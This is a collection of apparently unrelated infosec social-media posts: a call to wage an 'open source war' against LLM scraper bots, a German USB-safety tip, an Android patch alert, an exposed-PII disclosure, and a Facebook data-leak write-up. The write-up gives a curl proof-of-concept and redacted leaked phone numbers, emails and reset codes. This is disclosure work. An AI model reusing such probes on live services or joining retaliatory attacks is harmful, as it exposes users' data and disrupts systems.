I have just taken the time to thoroughly read the following article

This article has led me to the conclusion that an Open{source} War will have to be waged against LLM large language model abusers of data collection.

The work of these bots is pure DDoS denial of service. An interesting set of offensive tools have been programmed and are already implemented. They have proven to be quite effective and are being refined into sophistication to literally work to knock these networks of bots offline, in a DOT MMORPG approach.

It is unthinkable that LLM bots steal our Open Source resources servers bandwidth and financial cashflow without serious repercussions!

WTF are LLM companies thinking? Even Meta has waged war against us!

LLM has waged a brutal war.

The Open Source Community is responding; even those at The Dark Side of the internet are making tools to assist everyone against Artificial Intelligence LLM DDoS attacks, which knock whole Open Source Networks offline, as we speak.

It doesn't matter if in the end it looks like a Terminator landscape globally on the IT scale. Open source will win. LLM will disappear...

#DDoS #LLM #bots #infosec #OpenAI #Linux #KDE #GitHub #GitLab #Bash #sh

Guten Morgen liebe*r Leser*in,

Hast du schon einmal einen unbekannten USB Stick oder ein USB Kabel gefunden? Hast du ihn angesteckt, um zu sehen, ob ein Hinweis auf den oder die Eigentümer*in darauf ist? Das kann gefährlich sein.
Zum einem können auf USB Sticks klassische Viren gespeichert sein. Diese können z.B. als Macro in einer Office-Datei enthalten oder als Spiel oder vermeintlicher Treiber als ausführbare Datei gespeichert sein. Öffnest du sie, kann dein System infiziert werden. Bevor es zuverlässige Internetverbindungen mit großer Bandbreite gab, war die Verbreitung über Disketten, CDs und später USB-Sticks bei Viren sehr verbreitet. Sie infizierten den Rechner und speicherten sich selbst auf allen angeschlossenen Medien, damit sie weitergetragen wurden.
Zum anderen kann es sich bei einem USB Stick auch um ein ganz anderes Gerät handeln. Nämlich einen Microcontroller, der sich als Tastatur und Speicher ausgibt und beim Einstecken automatisch Tastaturbefehle eingibt, um z.B. Passwörter zu stehlen oder Trojaner zu installieren. Die Miniaturisierung ist inzwischen soweit fortgeschritten, dass selbst ein normal aussehendes USB Kabel einen Microcontroller enthalten kann. Da sie sich einfach als Tastatur anmelden und Befehle im Kontext der User*in eingeben, werden sie von vielen Virenscannern nicht erkannt. Das gleiche Risiko besteht an sich auch bei öffentlichen USB Ports zum Laden von Smartphones wie zum Beispiel in manchen Bahnen oder Bussen. Auch hier könnte jemand entsprechende Geräte anbringen und gut tarnen.
Daher solltest du es vermeiden, fremde USB Kabel oder Sticks zu nutzen oder deine Geräte in öffentlich zugängliche Ports zu stecken. Nimm dir besser ein eigenes Kabel und eine Powerbank mit.
Nimm den heutigen Tag als Anlass und packe dir eine Powerbank mit Kabel für Notfälle ein.

Habt einen guten Tag!

#infosec #itsecurity #goodmorning #shakeupitsecurity #wisdomoftheday

Hey Android folks, listen up! 👀 Google just dropped a crucial security update that you seriously need to check out. It might just be relevant to your phone. Word on the street is, two of the patched vulnerabilities are already being exploited in the wild. Crazy, right? 😬

This reminds me of those chats I have with clients: "So, Android's secure, yeah?" Well... Privilege Escalation basically means an attacker can snag more permissions on your device. In short: hackers can potentially grab your data! 😱

They've squashed a whopping 44 vulnerabilities in this March update. CVE-2024-43093 & CVE-2024-50302 are seriously critical. Apparently, CVE-2024-50302 was even leveraged by Cellebrite to get into an activist's phone. Wild stuff! 😳

Go ahead and check your Android version and smash that update button ASAP (look for 2025-03-01 or 2025-03-05)! Also, be extra careful with apps from sources you don't know. Regular security checks are a must, even on your smartphone.

Have you already installed the update? Any thoughts or experiences with Android security? 🤔

#AndroidSecurity #infosec #pentest

The full story on this is out here: jltee.substack.com/p/putting-o…

UPDATE2: Baden-Württemberg Data Protection managed to reach out to the company responsible for the servers and the public access was closed down. Not naming anyone at the moment, my post about this will eventually come after disclosure is made by the company.

Thanks everyone who boosted and interacted with the post and helped get this closed down!

-------

Original Post:

Anyone on infosec from Germany that might be able to help me out on who to reach out to close some exposed PII?

I found a few, 180+ 😂 , exposed servers from Fire Depts all over Germany.
This servers are exposing drivers licenses for Firefighters and a bunch of legal documents that I'm not sure what they are exactly.

I sent an email to poststelle@bfdi.bund.de and poststelle@lda.bayern.de last Wednesday but no one replied back to me.

Update: Thanks everyone who boosted and gave out their suggestions or reached out through DMs.
Currently in contact with BSI and Baden-Württemberg Data Protection. Hopefully this gets closed soon, will update this post when it does.

#infosec #cybersecurity #dataprotection #germany

For an unknown period until the end of January 2024, Facebook appears to have suffered a data leak that has exposed users’ email addresses, phone numbers and other identifying information.

The only action required was to send an HTTP request to https://x.facebook.com/ with a valid Facebook tracking cookie (datr) set. The link to which the HTTP 302 redirected then revealed third-party user data.

📝 For privacy reasons some data is redacted with either ‘▒▒▒’ (base64url or hex strings) or ‘●●●●’ (human readable).

For example, a simple

curl --silent \
     --header "Cookie: datr=__▒▒▒;" \
     --dump-header - \
     https://x.facebook.com/ \
     | grep -i "^location:"

📝 Note: In the following, only the field-value pairs of https://m.facebook.com/recover/code/? are listed in favour of better readability.

ars=m_try_another_way_clicked_from_code_entry
ph[0]=+9899●●●●●●●●
rm=send_sms
fl=default_recover
c=/login/
hash=AU▒▒▒
refsrc=deprecated
_rdr

The value +9899●●●●●●●● apparently is a Pakistani phone number.

Numbers from WhatsApp accounts were also revealed by Facebook’s ‘chatty’ redirects:

ars=m_lara_first_password_failure
ph[0]=+919165●●●●●●●
rm=send_whatsapp_skip_bc
hash=AU▒▒▒
refsrc=deprecated
_rdr

E-mail addresses (em[0]) were disclosed in plain text as well.

em[0]=●●●●●●.●●●●●●●@gmail.com
rm=send_email
c=/login/?next=https://www.facebook.com/public/●●●●-●●●●●●●/
hash=AU▒▒▒
refsrc=deprecated
_rdr

In some cases, multiple telephone numbers or e-mail addresses were given for accounts (em[1], ph[1], ...).

Alternatively, a cuid was returned instead, which can also be correlated with an email address or telephone number:

rm=send_email
spc=0
cuid=AY▒▒▒
fl=default_recover
try=6
locale2=es_ES
refsrc=deprecated
wtsid=rdr_▒▒▒
hash=AU▒▒▒
_rdr

Some information has also been leaked about OAuth logins via third-party providers.

em[0]=a***@*******
rm=send_email
c=/login/?skip_api_login=1
api_key=●●●●●●●●●●●●●●●
kid_directed_site=0
app_id=●●●●●●●●●●●●●●●
signed_next=1
next=https://m.facebook.com/dialog/oauth?

client_id=●●●●●●●●●●●●●●●
redirect_uri=https://login.●●●●●●●●●●●.co.uk/●●●●●●●●●●●●●●●.onmicrosoft.com/oauth2/authresp
response_type=code
scope=email+public_profile
state=StateProperties=ey▒▒▒
ret=login
fbapp_pres=0
logger_id=▒▒-▒-▒-▒-▒▒▒
tp=unspecified

cancel_url=https://login.●●●●●●●●●●●.co.uk.onmicrosoft.com/●●●●●●●●●●●●●●●.onmicrosoft.com/oauth2?

error=access_denied
error_code=200
error_description=Permissions+error
error_reason=user_denied
state=StateProperties=ey▒▒▒
# =

display=touch
locale=en_GB
pl_dbl=0
refsrc=deprecated
is_from_native_app=true
locale2=en_GB
hash=▒▒▒
refsrc=deprecated
_rdr

Although, in this example, the email address (em[0]) has been anonymized by Facebook itself, it is possible to draw conclusions about users on the basis of api_key (identical to app_id and client_id) and redirect_uri (containing ●●●●●●.co.uk)

Query strings with the field n are particularly concerning. n seems to be a one-time password, as known from password reset emails. This is even more worrying when combined with the cuid, which can easily be derived from the email address.

n=24807091
s=23
exp_locale=pl_PL
cuid=AY▒▒▒
redirect_from=button
wtsid=rdr_▒▒▒
refsrc=deprecated
hash=AU▒▒▒
_rdr.

During my investigations I noticed that the same URLs were returned for requests in quick succession. However, the returned query string changed at irregular intervals, roughly once per minute, depending on the time of day.

The issue was reported to Facebook via its bug bounty programme. While the demonstrated method stopped working two weeks after submission, the issue was triaged for an extensive period of time. In accordance with the principle of responsible disclosure, this is published only now.

#Facebok #Meta #WhatsApp #Infosec #DataBreach #DataLeak